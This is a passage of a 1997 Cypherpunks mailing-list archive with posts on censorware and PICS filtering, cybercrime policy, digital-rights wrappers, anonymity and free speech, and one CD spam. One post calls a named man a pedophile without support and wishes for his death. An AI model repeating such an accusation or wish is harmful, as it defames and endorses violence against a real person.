convinced the Supreme Court >that it would do less harm to free speech than the >Communications Decency Act, the law criminalizing on-line >indecency, which the Court struck down in June. > >Yet those advocates may now regret what they wished for, >because some of their schemes seem to imperil free speech >more than the act did. > >For example, software that users install to block out >certain Internet content often excludes material that isn't >indecent. One such program, Cybersitter, prevents users >from visiting the site of the National Organization for >Women. And the makers of these programs often won't even >tell adults what sites have been blacklisted. > >Still worse is a protocol known as PICS that changes the >Internet's architecture to make it easy to rate and filter >content. PICS is theoretically neutral because it allows >different groups to apply their own labels, but could hurt >the Internet's diversity by requiring everything to be >rated. Small, unrated sites would be lost. > >Moreover, these technologies enable what might be called >total filtering, where objectionable speech of any type can >be screened out effortlessly. Benign as this may seem, such >filtering might be used not just by individuals but by >employers, Internet service providers and foreign >governments seeking to restrict information that others >receive. > >The ground rules for an open society could also be >undermined. When total filtering meets information >overload, individuals can (and will) screen out undesired >interactions, including those crucial to a vibrant >political culture -- the on-line equivalents of a civil >rights protest or a petition for a reform candidate. In >such a filtered society, civil discourse and common >understanding will suffer. > >This should lead us to think long and hard about the way >that technology can be an even more cunning censor than >law. That's not to say that Government solutions are >problem-free or desirable. But at least when the state goes >overboard, speech defenders have the safety valve of a >First Amendment lawsuit. This legal recourse is not an >option when politicians simply persuade industry and >consumers to use speech-inhibiting tools. Who knows, >free-speech advocates may find themselves nostalgic for >public regulation after all. > >Andrew L. Shapiro is a fellow at Harvard Law School's >Center for the Internet and Society and at the Twentieth >Century Fund. > > > > From tm at dev.null Thu Dec 4 09:50:42 1997 From: tm at dev.null (TruthMonger) Date: Fri, 5 Dec 1997 01:50:42 +0800 Subject: Kudos to 'my other brother' BillyG / Re: Censorial leftists (Was: Interesting article) In-Reply-To: <199712040507.AAA26160@users.invweb.net> Message-ID: <3486E376.67FB@dev.null> Killer post! We are all in constant danger of convincing ourself that 'we' are a "kindler, gentler Nazi." Personally, I have always been of the opinion that the Pacifist movement would be more effective if they owned more weapons. TruthMonger William H. Geiger III wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > In <3486262E.C70FF40 at cptech.org>, on 12/03/97 > at 10:40 PM, James Love said: > > >Now, if one sees the burning issue of the day the fight to rid the world > >of government as we know it, maybe right left labels make sense. By > >defining both the left and the right as groups who advocate increasing > >government control over private actions, you describe what seems most > >important to you. I found this characterization of "leftists" as shallow > >as Declan's, however. > > There is no difference between the "left" and the "right" in Amerika > politics other than which tit on the federal sow they wish to suck on and > which "buzz" words they use in their FUD campaigns to hurd the sheeple in > support of their cause celebre. > > The one unifying principle of these "leaders" is the acquisition of power > and the using of the Federal Government to get it. It doesn't matter if > it's a Tree Hugging Communist like Ralf Naider or a Religious Nut like Pat > Robertson. Their agendas are the same, their modus operandi are the same, > and their results are the same: They get more power, the feds get more > power, and the "people" get fucked once again. > > - -- > - --------------------------------------------------------------- > William H. Geiger III http://users.invweb.net/~whgiii > Geiger Consulting Cooking With Warp 4.0 > > Author of E-Secure - PGP Front End for MR/2 Ice > PGP & MR/2 the only way for secure e-mail. > OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html > - --------------------------------------------------------------- > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.3a-sha1 > Charset: cp850 > Comment: Registered_User_E-Secure_v1.1b1_ES000000 > > iQCVAwUBNIY6VY9Co1n+aLhhAQI+0QQAnTzvENP9MvRSa3x1OZ3tFmlUeSO7VQtB > 1SBcXQ2ciOg2GLJqBI7zjSrpEiIHX4dLgZVavLin9JxHlclvV7QFNl+iTnrROV4C > cveCoBtL/EsaEI9wwuUYMMf7kkodhkaVdksILq8xF+Twgl541J8sXWoFMk4Jt6gc > ZzZexYD/R50= > =b0oD > -----END PGP SIGNATURE----- From tm at dev.null Thu Dec 4 09:52:48 1997 From: tm at dev.null (TruthMonger) Date: Fri, 5 Dec 1997 01:52:48 +0800 Subject: Man-in-the-Middle Chicken Attacks In-Reply-To: <199712040815.AAA15152@jimmy.djc.com> Message-ID: <3486E66B.5950@dev.null> sampler-request at lmboyd.com wrote: > ====================================================== > At night, if you want to see the chicken without the > chicken seeing you, use a red light. > ============================================== > LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email > http://www.LMBoyd.com/postscript.htm From declan at well.com Thu Dec 4 10:01:27 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 5 Dec 1997 02:01:27 +0800 Subject: Cato forum tomorrow: should money laundering be a crime? Message-ID: Friday Noon. MONEY LAUNDERING - The Cato Institute holds a policy forum, "Should Money Laundering Be a Crime," with Lawrence Lindsey, AEI and former governor, Federal Reserve; Stephen Kroll, Treasury Department, and Richard Rahn, president, Novecon Corp. Location: Cato Institute, F.A. Hayek Auditorium, 1000 Massachusetts Ave. NW. Contact: RSVP, James Markels, 202-789-5256. From schear at lvdi.net Thu Dec 4 10:04:51 1997 From: schear at lvdi.net (Steve Schear) Date: Fri, 5 Dec 1997 02:04:51 +0800 Subject: Borders books, was Re: In-Reply-To: <199712040732.XAA14714@sirius.infonex.com> Message-ID: At 11:32 PM -0800 12/3/1997, Mix wrote: >www.borders.com: "Borders is opening new stores almost >every week. If there's not one near you now, there will >be soon." > >This is depressing. Something has to be done about >"free"-market capitalism. It is as destructive as >government, and built on the same lies. Fortunately, this gives a significant price advantage to Web-based book stores, like Amazon.com, who can sell w/o adding state/local taxes. In fact Amazon has sued Barns & Nobel for, I believe, unfair competition claiming they were not adding these taxes to their on-line book orders. No doubt the major book sellers wishing to enter on-line sales will be looking for ways to avoid having to tax and the state attorneys general will be looking closely into enforcing their state sales and use taxes. --Steve From jim.burnes at ssds.com Thu Dec 4 10:05:47 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Fri, 5 Dec 1997 02:05:47 +0800 Subject: Censorial leftists (Was: Interesting testicle) In-Reply-To: <34861C6C.67C@dev.null> Message-ID: someone masquerading as truthmonger wrote: > > LISTEN UP!!! (I'LL TYPE SLOWLY...) > Faster horses, older whiskey, younger women, more money. > > Democracy is a political system designed to put Fascism in the > hands of the people. > Fascism is a political system designed to take Democracy out of > the hands of the people and into the hands of the Machine. etc > > NEWS FLASH!!! > Whether you are forced to 'do right' or forced to 'do no wrong' > will depend on whether the 'leftists' or the 'rightists' have the > most money and guns. > > NEWS FLASH ADDENDUM!!! > Those seeking to 'save' you are likely to afflict as much damage > to your rights and freedoms as those seeking to 'oppress' you. > > NOTE TO BOY SCOUTS!!! > If an old lady doesn't want to cross the street, that is an act > of 'passive aggression' and you have a right to use as much force > as necessary to get her across the street. > > Is there a difference in the degree of 'dead' between a person > shot by a left-hander and one shot by a right-hander? > Do you have a preference for having an individual, a government > or a corporation as your dictator/oppressor? > Is it of great concern to you to be allowed to 'vote' as to > which person gives you an unneeded prostrate exam? > Truthmonger: you wouldn't happen to be a member of the subgenious would you? if so, say hi to rev. ivan stang.... jim From declan at well.com Thu Dec 4 10:06:04 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 5 Dec 1997 02:06:04 +0800 Subject: Janet Reno warns of "lawlessness on the Internet" Message-ID: >From U.S. Attorney General Janet Reno's weekly press conference, held this morning at the Department of Justice. She's speaking about an upcoming meeting of the G-7 nations and Russia: At this meeting we will be discussing ways in which our countries can work together to better identify and locate cybercriminals. Automation, computers, the Internet have now made boundaries, in many instances, meaningless. As I have said on a number of occasions at this table, a man can sit at a computer in Europe and steal from a bank in the United States. Someone in Germany can get a list of credit card numbers here and try to extort people for money on the threat of using these credit cards. I think it is imperative that we develop practices, procedures, and laws that will enable these countries - and indeed other countries throughout the world - to work together to focus on criminals who are exploiting the new technologies that so many of us are relying on. The solution is working together as nations. Our law enforcement agencies must learn to work together more closely on these issues and more quickly than ever before, since a split-second response can help catch a hacker while he is still online. The fight against lawlessness on the Internet will be one of the greatest law enforcement challenges of the next century. By working on agreements to help meet that challenge, we won't be left fighting 21st century threats with 20th century solutions. I think it is going to be incumbent upon us all to develop the expertise on the part of law enforcement, both at the federal and state level, to make sure that we know who our counterparts are around the world and that we come together on this issue. I guess this is the Department of Justice's response to "cryptoanarchy." -Declan From schear at lvdi.net Thu Dec 4 10:08:10 1997 From: schear at lvdi.net (Steve Schear) Date: Fri, 5 Dec 1997 02:08:10 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: At 5:16 AM +0100 12/4/1997, Lucky Green wrote: >On Wed, 3 Dec 1997, Robert Hettinga wrote: >> >> Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the >> digital document (financial newsletter, educational test, minutes from a >> court proceeding, sensitive health care records, etc.) goes, no matter >> how it gets there, whether it is used and then subsequently >> redistributed, etc. the document is always encrypted. It is never left >> decrypted and exposed even while it is being viewed. > >They have lost their mind. Since humans are notoriously bad at performing >decryptions in their head in real time, whatever is sent to the display >*must* be cleartext. Any competent programmer can grab it at that point. Undoubetedly there will be attempts to create display chips with built-in decryption and special display and/or raster/vectorizing approaches which are comfortably viewed but are difficult to snap shot using "screen shooters" or simple capture hardware. With the new USB and FireWire interface standards this isn't too far fetched. All, as you say probably doomed to failure. --Steve From GreatTunes2 at ar.net Fri Dec 5 02:08:18 1997 From: GreatTunes2 at ar.net (GreatTunes2 at ar.net) Date: Fri, 5 Dec 1997 02:08:18 -0800 (PST) Subject: A great Christmas gift for less than $20. Message-ID: <19971205332VAA45009@post.211.3.7> (This is a one-time mailing. Removal request not necessary.) If you're looking for a really great gift for the holidays... we promise you'll like this! VelvetVista Recordings is proud to announce the new album from top L.A. piano-man: Jim Wilson with guest performances by over a dozen of L.A.'s and London's top session players and a world-renowned recording artist/ sax player. To check out the CD cover and get more info, visit our website: http://www.imagedepot.com/velvetvista Northern Seascape is a gorgeous collection of 11 piano-featured instrumentals that will take you on an emotional journey from the Irish shores of the North Atlantic to a swirling snowfall in the Sierras. Bittersweet, joyful, romantic, poignant -- this audiophile-quality CD fuses folk, Celtic, pop, and classical influences into a unique melodic style that you will lead you places you�ll want to revisit again and again. The response to this CD has been incredible. To help us get your copies to you in time for the holidays, please order today. We absolutely assure your satisfaction and offer a money-back, no-questions-asked guarantee. ******************************************************* TO ORDER: Mail order form information below along with check, money-order or credit card info to: VelvetVista Recordings 5152 Sepulveda Blvd, ste.123, Sherman Oaks, CA 91403 Please allow approximately 3 weeks for delivery. OR for faster service: Fax or e-mail order form information with credit card info to: Fax: (818) 789-1211 email: velvetvista at imagedepot.com (e-mail orders: please write "Northern Order" in subject box) ******************************************************************** ORDER FORM: The CD's list for $16.95, but for this special holiday offer, we are extending the following prices: ****CD'S*****$14.85 (for the first CD)__________________ $13.75 for subsequent CD's____________ ***CASSETTES***$11.85 for the first cassette___________ $9.85 for subsequent cassettes________________ Please include $2.95 shipping & handling________________ CA residents add 8.25% tax__________________________ TOTAL______________ Name:________________________________________ Address________________________________________ City___________________ State________ Zip______ Phone________________________________________ (Master Card, Visa, American Express or Discover Card) Card Number:___________________________________ Exp. Date:______________________________________ Cardholder's Name:______________________________ Cardholder's Signature:__________________________ *************************************************************** Thank you and Happy Holidays!! c From tm at dev.null Thu Dec 4 10:21:52 1997 From: tm at dev.null (TruthMonger) Date: Fri, 5 Dec 1997 02:21:52 +0800 Subject: Blanc for Presidentess ! / Re: Transcript of Gore's remarks at "Censorware Summit" In-Reply-To: <3.0.32.19971203205653.00699b08@cnw.com> Message-ID: <3486F195.281D@dev.null> Blanc wrote: > I just had an incorrect thought that I've decided to share with everyone: > > The reason Al Gore (and the others) are focusing on helping All the Little > Children, is that this is the only group they can offer assistance to in > the U.S. who would accept it. > > Everyone else is stocking up on guns & ammo, waiting for The Big One. > .. > Blanc Blanc is one of those rare creatures who has the ability to rock the boat with a small volume of words which nonetheless carry a great amount of weight. TotoMonger From declan at well.com Thu Dec 4 10:24:48 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 5 Dec 1997 02:24:48 +0800 Subject: The Revolution is NOW ! / Free Bill Gates ! / Philly 'WhiteShoes' Zimmermann In-Reply-To: <199712022156.NAA24800@netcom13.netcom.com> Message-ID: Problem is, I work about three blocks from Ground Zero. All this talk of soft targets makes me nervous, you know. BTW, I'm going to check on the Secret Service Christmas tree ornaments and how much they cost. I'll post later on today if our office manager tells me they're still available. (The U.S.S.S. is on the top floor of my building and they give us a deal.) -Declan At 10:49 -0600 12/4/97, TruthMonger wrote: > I try to judge BillyG and PhillyZ with the same standards that >I use to make my personal judgements regarding Declan. > I consider Declan to be a tried and true ally who has made it >his mission in life to descend into the Belly of the Beast and >report back to us where the 'soft targets' are, and warn us of >the 'fools gold' that is being used to lure us all down a road >that leads to the bottomless trough. I would be sad to have to >put an end to his life if he someday returns from his descent >with glazed eyes, blathering, "GAK is Good!" From honig at otc.net Thu Dec 4 10:44:29 1997 From: honig at otc.net (David Honig) Date: Fri, 5 Dec 1997 02:44:29 +0800 Subject: blowback Message-ID: <3.0.5.32.19971204101403.0083e790@206.40.207.40> The Fed made up UFO stories to cover military flights. Later on, morons who believe this end up breaking into Feds computers looking for evidence. Ah, irony. Blowback is what Intelligence calls it when, e.g., soldiers you trained and armed to repel your mutual enemy do so, then turn on you. >> > More Naked Gun than Top Gun >> > >> > THE THREE year long case of the world's most notorious >> > "information warfare" attack on US government computer systems >> > collapsed last Friday. On a grey morning in a south London >> > court, a 23-year-old computer programmer from Cardiff walked >> > free as crown prosecutors told the judge it wasn't worth the >> > cost of trying to hold his trial. They acknowledged that he had >> > posed no threat to security. >> > >> > But Matthew Bevan, who was obsessed with the X-Files and the >> > search for alien spacecraft, and his 16-year-old accomplice, >> > Richard Pryce, had achieved a notoriety out of all proportion >> > to their actions. They were "Kuji" and "Datastream Cowboy" - >> > hackers whose haphazard penetration of US Air Force and defense >> > contractors' computers have been portrayed since 1994 as the >> > work of foreign agents and the greatest electronic danger yet >> > to hit the US Air Force on its home turf. ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From honig at otc.net Thu Dec 4 11:06:51 1997 From: honig at otc.net (David Honig) Date: Fri, 5 Dec 1997 03:06:51 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <199712041305.IAA30177@users.invweb.net> Message-ID: <3.0.5.32.19971204103846.0084a490@206.40.207.40> At 08:16 AM 12/4/97 -0500, tom wrote: >> >> Nothing inconsistent with being a Libertarian and anti Murder. Was this capital punishment or abortion or animal rights? Wish the left/right PR people would keep their damn terms separate... :-) ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From tm at dev.null Thu Dec 4 11:30:16 1997 From: tm at dev.null (TruthMonger) Date: Fri, 5 Dec 1997 03:30:16 +0800 Subject: Censorial leftists (Was: Interesting testicle) In-Reply-To: Message-ID: <3486F4A0.3FFE@dev.null> Jim Burnes wrote: > Truthmonger: > > you wouldn't happen to be a member of the subgenious > would you? if so, say hi to rev. ivan stang.... jim, I am a high-priestess in the Church of the SubWoofer. TotoMonger From honig at otc.net Thu Dec 4 11:30:41 1997 From: honig at otc.net (David Honig) Date: Fri, 5 Dec 1997 03:30:41 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <199712041316.IAA18769@Empire.Net> Message-ID: <3.0.5.32.19971204105615.00853870@206.40.207.40> At 07:53 AM 12/4/97 -0600, William H. Geiger III wrote: >Who knows maybe the pro-choice crowd *does* approve of a doctor taking a >big pair of pliers, crushing the skull then ripping the arms and legs off >a 6mo old then pulling out the shop vac to clean up the mess? Yes, if that's what the pros think is the appropriate method when a person decides to off their fetus. The sun supplies 1 Kwtt/m^2, peak. How many people can you feed on that before you get a war/famine/plague? Perhaps you prefer adult war to infanticide. A matter of taste. Cultures that really have to deal with this, unlike your own (for now), generally choose infanticide. ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From dlv at bwalk.dm.com Thu Dec 4 11:38:51 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 5 Dec 1997 03:38:51 +0800 Subject: Bill Stewart kills babies after he molests them. Honest! / In-Reply-To: <3.0.5.32.19971203091239.007e4410@206.40.207.40> Message-ID: David Honig writes: > At 07:53 AM 12/3/97 EST, Dr.Dimitri Vulis KOTM wrote: > >Bill Stewart writes: > > > >> The real problem, besides the emotional distress some people feel > >> at the abuse they get in response to forged postings, > >> and the potential loss of reputation capital, is that people > >> keep trying to call their ISP to get them shut down, > >> and some ISPs do this sort of thing, squashing abusive-sounding customers > >> first and asking questions later. Ok, soon-to-be-ex customers... > > > >Yes, this is one of the problems. Earlier this year pedophile Chris Lewis > >from Northern Telecom forged a bunch of spam e-mail to look like it came > >from dm.com (my domain). I got about 500 obnoxious e-mails, which I > >semi-automatically responded to, and had a rather unpleasant conversation > >with the assholes at my upstrea (PSI): "If you prove that this e-mail didn't > >originate at your site, you will not be held responsible". > > If you could find a competant jury you would be able to show breach of > contract > had they done anything, because they should know better than to believe > forgeries. > Admittedly this is a major hassle you should not have to endure. I suspect that if the assholes at PSI pulled my plug and I sued them for breach of contract, the case would never get to the jury. A judge would toss it. You see, I'm an ISP. Most ISP's contracts with their backbones say explicitly that the backbone can pull the plug any time it wants to for no reason and with no warning. There are very few backbones and they all talk to each other and basically have a cartel. it's not like if you don't like PSI's standard ISP contract, you can go to Sprint and get a better one; they're a cartel with very little competition. Indeed, it's highly unusual even to have a language requiring the backbone to give a notice before pulling your plug. I might have a good cause of action against Chris Lewis, but the asshole is in Canada. (I found out the forger's home address. I hope someone blows his fucking brains out, for he surely deserves to die.) In what court would I sue him (for interfering with my contractual relations with PSI)? If you're an individual user and check your contract with your ISP, you'll likely see that the ISP too can pull your plug any time it feels like it for no reason, and doesn't even have to turn over to you your files, e-mail, etc. If a forger (like Chris Lewis) forges something objectionable in a user's name and the ISP has to spend a lot of time responding to the complaints, it's not unusual for the ISP to get rid of the controversial user even though the user hasn't posted the traffic that's causing the complaints. If there was more competition in the field, the ISP would have to demonstrate abuse by the user to pull the user's plug. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From rah at shipwright.com Thu Dec 4 11:39:16 1997 From: rah at shipwright.com (Robert Hettinga) Date: Fri, 5 Dec 1997 03:39:16 +0800 Subject: Fear of a Random Planet... In-Reply-To: Message-ID: At 1:25 am -0500 on 12/4/97, Anonymous wrote: > Remember, 'Export a Cryptographer, Go to Jail!' Damn. There goes FC98. :-). Oh well, at least the Coyotes on the Mexican border won't have to deadhead the return trip... Cheers, Bob ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From tm at dev.null Thu Dec 4 11:42:34 1997 From: tm at dev.null (TruthMonger) Date: Fri, 5 Dec 1997 03:42:34 +0800 Subject: Janet Reno warns of "lawlessness on the Internet" In-Reply-To: Message-ID: <3486FEB4.596C@dev.null> Declan McCullagh wrote: > >From U.S. Attorney General Janet Reno's weekly press conference, held this > morning at the Department of Justice. She's speaking about an upcoming > meeting of the G-7 nations and Russia: Summary: International Law Enforcement. New World Order. International Law Enforcement. New World Order. International Law Enforcement... > At this meeting we will be discussing ways in which our > countries can work together to better identify and locate > cybercriminals. ... > The > solution is working together as nations. Our law > enforcement agencies must learn to work together more > closely on these issues and more quickly than ever > before > I think it is going to be > incumbent upon us all to develop the expertise on the > part of law enforcement, both at the federal and state > level, to make sure that we know who our counterparts are > around the world and that we come together on this issue. Declan adds: > I guess this is the Department of Justice's response to "cryptoanarchy." How many people have recognized the Big Lie increasingly being spread by the self-proclaimed guardians of the future of all humanity? What happens if the InterNet disappears from the face of the earth, tomorrow? Not a whole helluva lot. It would be a loss, but in no way a major disaster for all mankind. The InterNet is the Falklands. There is really no need to mount a huge armed force to travel halfway around the world and 'put things straight' unless this-or-that perceived authority deems it to be necessary/in the national interest/a good idea/profitable/etc. Ask yourself this..."If the InterNet is such a highly important, as well as highly vulnerable, infrastructure--of momentous value to our military and economic well-being--then why on earth did our government announce that it was of major importance for every man, woman, and child, sane and insane, to have access to it?" "It is a matter of national urgency that every citizen should tour the Pentagon, as soon as possible. Of course, in the interests of national security, it will be necessary to give everyone who does so a digital implant." "We have adopted a policy of allowing your children to play in our missle silos, but we will have to imprison them if they play with the buttons." > Automation, computers, the Internet have now made > boundaries, in many instances, meaningless. Those in power recognize this, and they also recognize the need to recreate and/or redefine it as a valuable treasure in need of defending from the Great Enemy. This time around the Karmic Circle, however, the Great Enemy is everyone on the face of the earth. Isn't there a Chinese curse which says, "May you live in interesting times."? TruthMonger From nobody at REPLAY.COM Thu Dec 4 11:48:33 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 5 Dec 1997 03:48:33 +0800 Subject: Anonymous Threads Message-ID: <199712041936.UAA02317@basement.replay.com> Something that I have found irritating about the posts by non-persistent identities is that it isn't possible to support a meaningful discussion as previous statements can always be repudiated, or maybe even weren't made by the particular poster. I compared this to sound bites. On second thought, however, there is an easy way to solve this. If the anonymous poster accepts the context of previous messages, the discussion can continue. There's no reason why the person behind the virtual thread has to be the same, but the context itself is important if we want to have interesting discussions. So, if you don't want to sign your messages, just acknowledge the message ID of the relevant previous messages whose context you wish to use. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Anonymous Threads To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 6B9BA6AA6877E0C1587995F0C9FF05E9C53786CA -3AA 3AA 1D7CDAB517012D0FB4DCFC7A3C991EC7376D909B8864BDA2CC476FDE6D83FC25D0BA6FC3C70ECA3EAE68B75F0120AFC6A2A1E14CED0FDF31008A46CE0B036E64F11732FE81FCEC1D10C61FBBF3F4B73ECB4A86AFC6D6F9C95AC2CFEF11734016C7B23FB02606F39076B1E45265B1E853881EDD05DC6252DD7DE76FAA379CE0D38C3D14EBA4302DB15E14D731E5D46376E06F6068E4E6207E963C979D032297AE22C25EA2535A38CB826A3D5659F25413971E1C5BB4AD47DEB3903462470F1A21615F8A2597C09780C6523536D8CE48FCE0908A707B8D3491A57D06D0255AC85C235D80636BFCD345B459FFD442AAA8F055B424B492828D016EA429723F594A79 7A6F047AE92A38116EBEF0FF74311C2C2C1E64217C60751ABF7D33799422B6F620517EA2D01B3091CDC6BA69143BF73B6866958D25E742585E38050365E2E5FBB46F91CD20E2ED3D33BE7F8F844FC8BD4BF3D92296D2523B41B10730606AC05FFD96FCEB581E8AD60A8E70874AE02B9242209C06C3DC6A4F1ADDD67941A85594FCC6EAC18358AECFDD06342C55A05B02ACB630315D214F5124D99E1943607192E83D56632CCED3F0FB84560FA1695702A05CC173E114E0DBC29FEB12044F124954EB2E068F45D8D03BA47369B2836F6039F24C1DF42A8E1926A586D3E5860EF7D4BFDEEE5E9A67F7CBB0FDB8DDCC84A4985680BA43E0C184A88C457C18AD3D5D From nobody at REPLAY.COM Thu Dec 4 12:10:34 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 5 Dec 1997 04:10:34 +0800 Subject: words have value, for good or ill Message-ID: <199712041959.UAA04934@basement.replay.com> Zooko Journeyman wrote: >Actually I think we are discussing the morality of words, not of >thoughts. Words are actions in my book. (ObDcashPunks: Note that >the right words to the effect of "I hereby give you this cash token. >Signed, Alice" _are_ the same as the action of giving the person the >cash token. :-) ) It looks like we lost some context across the Atlantic. In the United States when we are discussing free speech there are usually some common assumptions that are used to simplify the discussion. Usually when free speech is being discussed, we do not mean contracts, coercive threats, or copyrighted works. Strictly speaking, of course, those are speech, but that usually isn't what is meant over here. (1) The speech I am talking about is the kind of things which Tim May has been writing. To keep things simple, let's consider the statement "McVeigh did the right thing." It is not a contract. It is not a threat. It is not copyrighted. It is simply a belief which Tim May considered and posted to the list. I think we've fairly settled that it is not immoral to have this thought. So the question really is, if you have such a thought, is it immoral to express it? It's hard for me to see how. If the belief is correct, then other people certainly will benefit from hearing it. If the belief is not correct, then other people may be able to enlighten you. In either case, it is preferable that the belief be expressed. >> What you seem to be proposing is that Tim May (or whoever) should >> refrain from expressing certain of their beliefs about the world >> because they are immoral. > >I don't speak for Anonymous (:-)), but what _I_ propose is that the >meme of "it was okay/justified/right for me to say it because it >should be legal for me to say it" shall eradicated from cypherpunks >discourse. I'm not sure I understand what you are proposing. My dictionary defines "eradicate" in two ways: 1. to destroy utterly 2. to erase or remove I don't believe the meme should be "destroyed" and I'm not sure I'm comfortable with the means that would be required to do this. Nor do I see it as desirable to erase or remove posts which have already been made, if it were even possible. If you don't like somebody's ideas, I would suggest that you don't read their messages. If you don't want to see a particular idea, perhaps you could hire somebody to remove the posts from your mail queue that contain it. If you don't like other people hearing certain ideas, I recommend you get used to it. (1) It is interesting to consider a world in which these exceptions are not made. If there were no coercive enforcement mechanisms for contracts, then this exception would not have to exist. The idea of doing business solely on the basis of reputation is not only fascinating, but not very unlike much of the world today. There are two ways in which threats can be no ops. One is if the person being threatened is just a public key whose identity is simply unknown. A threat in that case is irrelevant. The second is if the person being threatened can adequately protect him or herself in which case the threat is dangerous to the threatener. And "intellectual property" is somewhat peculiar and implies a centralized enforcement mechanism. If we are to have "intellectual property" in a worldwide networked environment, it implies a de facto world government. The alternative may be preferable. Monty Cantsin Editor in Chief Smile Magazine http://www.neoism.org/squares/smile_index.html http://www.neoism.org/squares/cantsin_10.htm Subject: Re: words have value, for good or ill To: cypherpunks at algebra.com 25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2] 94C43229A76383D818D39952F7A41ACA0394C6FE 4E027939BD9DC5F3EACD8C2EE96F6030C214D1C6 -E5C E5C C65A6E80F929E3A8913EC16C37079426DD3D87A333037075C738598DEC0F3EA057C42B4AA152B22368B93771C4C3CE54C96CC393836E91A1461CB353E19CF6B0A240DC027FABA0E75A2D46B81456D7C5DACDF88D499522727F8EC326AE131388784B389C918BC3987CE61C9CA663EC16CA5B27EF051BEB50875AFE538F7035E9224CA79600C98BF63EBF1A64DF6FB1DF1B4E909684EB45423FCE470AEB72F87A8FD87BC7B0EEAE65DEDAE9443BBAB1C865D1B626C80ECE19D1A0E99B1B78CB2F81080FA52B0C66AF8BF82B872ED68DAE86F2AE87B55D526950259783C089CC4C5AB5BFB9F66B033632578741FE9803F299569BD91CCC0012F9C85B603D551578 11E7F91F60E1820D3419BCFC6B60D7D5E56444C2F1235DD82647D7CA1BE264095205525A0F743A5421C975800FD5E0728C2B68B4D4FFE9BE3C4E23A72A8F760F7879063D043EC734D1848F81485737BF7E7DD42F9D17371EF4C04489ADB7D79C4B78D1B691670AC469B5D9919EA60EF18C6385FF50C35528FC0414AA49E929DC06785582A134852EA720437758BE90AF1D6D8FF7E34F68ABFFC347CF610065256CC0B10552E4F913ADDCE4CF83AC8E4F90E3A580D71ACEBF8A4BB63ADBF7BC735802845E3C9CD843A1BB7C95431C7D87C2B47CF69A7F993EE72DB528D376B976C18F7114ED942356E531FD63741184D0A975074823DFA8F7F4020A521B7DF7AE From nobody at REPLAY.COM Thu Dec 4 12:13:13 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 5 Dec 1997 04:13:13 +0800 Subject: No Subject Message-ID: <199712041959.UAA04937@basement.replay.com> Does anyone know of any banks that provide full internet banking services outside of the USA's banking regulations? From jon at lasser.org Thu Dec 4 12:16:45 1997 From: jon at lasser.org (J. Lasser) Date: Fri, 5 Dec 1997 04:16:45 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <19971204150228.29343@gwyn.tux.org> In the wise words of William H. Geiger III: > As I stated in my previous post the Nolan chart is flawed. In it's > attempts to be "two-dimensional" it artificially separates interdependent > philosophies. Economic Freedom = Personal Freedom. You can not have one > without the other. The major failings of the socialist is their > unwillingness to accept this fact. A free society can not survive under a > socialist regime any more that a totalitarian society can survive under a > capitalist one. I think the Nolan chart is flawed because the questions are all worded in a leading manner, personally. And Singapore survives quite well being a totalitarian capitalist society. Sure, you can pick nits and claim that Singapore's not entirely capitalist, but it's more capitalist than this country and certainly less free, too. The fact of the matter seems to me to be that most people are perfectly satisfied to be passive consumers. While they like to be free, that means free to make purchasing decisions. They also like to be safe, and if they have to lose civil liberties to be safe, then they're all for it. Just so long as they can buy what they want. That seems to me to describe the essence of the Singapore problem, and I'd bet it holds true for the U.S. (and many other places) as well. And, regardless of whether the two are actually separate, the Nolan chart is intended to measure peoples' _beliefs_ and _feelings_ about economic and political freedom. And those, as this discussion proves, are clearly separate. Jon -- Jon Lasser (410)383-7962 jon at lasser.org http://www.tux.org/~lasser/ PGP=2047/0x4CDD6451 "Flap your ears, Dumbo! The feather was only a trick!" From nobody at REPLAY.COM Thu Dec 4 12:18:07 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 5 Dec 1997 04:18:07 +0800 Subject: No Subject Message-ID: <199712041946.UAA03571@basement.replay.com> Does anyone know of any banks that provide full internet banking services outside of the USA's banking regulations? From nobody at REPLAY.COM Thu Dec 4 12:55:47 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 5 Dec 1997 04:55:47 +0800 Subject: Christmas Ornaments Message-ID: <199712042039.VAA10062@basement.replay.com> Declan McCullagh wrote: >BTW, I'm going to check on the Secret Service Christmas tree >ornaments and how much they cost. I'll post later on today if our >office manager tells 